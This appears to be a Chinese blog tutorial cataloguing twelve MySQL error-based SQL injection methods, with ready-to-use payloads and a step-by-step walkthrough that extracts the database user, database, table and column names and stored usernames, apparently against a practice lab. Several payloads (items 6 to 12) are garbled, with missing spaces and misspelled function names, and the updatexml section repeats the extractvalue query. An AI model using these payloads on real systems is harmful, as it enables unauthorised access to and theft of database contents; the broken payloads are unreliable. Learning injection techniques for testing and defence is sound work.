前言
之前没有对SQL报错注入详细总结过,总结一下。
12种SQL报错注入
1、通过floor报错,注入语句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过extractvalue报错,注入语句如下:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、通过updatexml报错,注入语句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
mysql 常用函数
系统信息函数
database()
返回当前数据库名
benchmapk(count,expr)
将表达式expr重复运行count次
connection_id()
返回当前客户的连接ID
found_rows()
返回最后一个SELECT查询进行检索的总行数
user()
或system_user()
返回当前登陆用户名
version()
或@@version
返回MySQL服务器的版本
更多参考:mysql 常用函数收集
常见SQL报错注入
SQL注入有12个报错方式,比较常见的有floor报错注入、extractvalue报错注入、updatexml报错注入和exp报错注入
floor报错注入
select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
x和a是起的别名。
- floor报错注入相关函数
count() 函数
count(*) 函数:返回表中的记录数
报错注入中,floor(rand(0)*2)报错是有条件的,记录必须3条以上。所以使用count(*) 函数
floor()函数:返回小于等于该值的最大整数(可以理解为向下取整,只保留整数部分)
concat()函数:字符串拼接
报错注入中,利用concat()函数将想要获得的数据库内容拼接到concat()中,报错时作为内容输出。
rand()函数:可以用来生成0或1
rand(0)函数:也可以用来生成0或1
group by a
会根据a的规则对数据进行分组,而分组的时候,mysql会建立一个临时空表进行分组. - floor(rand(0)*2),乘以 2的原因
rand() 是返回 0 到 1 之间的随机数(即使用floor()后,只可以返回0),
那么乘 2 后自然是返回 0 到 2 之间的随机数(即使用floor()后,可以返回0和1)
- rand(0)函数和rand()函数的区别
rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数生成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成。
- 报错分析
rand()函数在查询的时候会执行一次,插入的时候还会执行一次(即使用rand()的话,会执行多次)。这是整个语句报错的关键
floor(rand(0)*2)
前六位是011011。
group by a
先建立一个空表,用于分组,然后进行分组查询。
第一次rand()执行,查询的结果是0。于是需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ,表中的结果就是:
root@localhost1 | 1 |
然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2)
root@localhost1 | 2 |
遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,
然后floor(rand(0)*2)又被触发,生成第五个值 1 ,
root@localhost1 | 2 |
root@localhost1 |
因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了。
此时插入因为重复出现同一个key,就会出现报错 重复出现key。而报错中会说明那个key有问题,key中结合了想要了解的字符串root@localhost
这样就实现了报错注入。
然后,concat()函数将想要获得的数据库内容拼接到concat()中,报错时作为内容输出。
(1)爆用户信息
select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
用户:root
(”1“是因为floor(rand(0)*2)
随机返回1)
(2)爆数据库名
select * from users where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a);
数据库名:security
(3)爆数据表名
select * from users where id=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
第四张表名:users
(4)爆字段名
select * from users where id=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
第一个字段名:id
第二个字段名:username
第三个字段名:password
(5)爆数据
select * from users where id=1 and (select 1 from (select count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
username字段下的第一条数据:Dumb
extractvalue报错注入
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
EXTRACTVALUE (XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式。
如果我们写入其他格式,就会报错。并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
爆用户信息
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
用户:root
两个"~
",是因为0x7e的ASCII码是”~
“
updatexml报错注入
select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
updatexml(目标xml文档,xml路径,更新的内容)
爆用户信息
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
exp报错注入
exp溢出报错注入
select * from users where id=1 and exp(~(select * from (select user())a));
exp是以e为底的指数函数
mysql> select exp(1);
+-------------------+
| exp(1) |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)
但是,数字太大会产生溢出。exp函数会在参数大于709时溢出,报错。
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,将成功执行的函数取反就会得到最大的无符号BIGINT值。
按位取反符:~
按位取反:二进制每一位取反,0变1,1变0
BIGINT:BIGINT[(M)] [UNSIGNED] [ZEROFILL]
M默认为20
大整数。带符号的范围是-9223372036854775808到9223372036854775807。无符号的范围是0到18446744073709551615。
M代表的并不是存储在数据库中的具体的长度。
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~(select user());
+----------------------+
| ~(select user()) |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。
mysql> select * from users where id=1 and exp(~(select * from (select database())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `a`.`database()` from (select database() AS `database()`) `a`)))'
在脚本语言中,就会将错误中的一些表达式转化成相应的字符串。从而实现了报错注入。例如(我不演示了):
DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'
结语
总结之后,对SQL报错注入,又有了更加深入的认识。继续努力!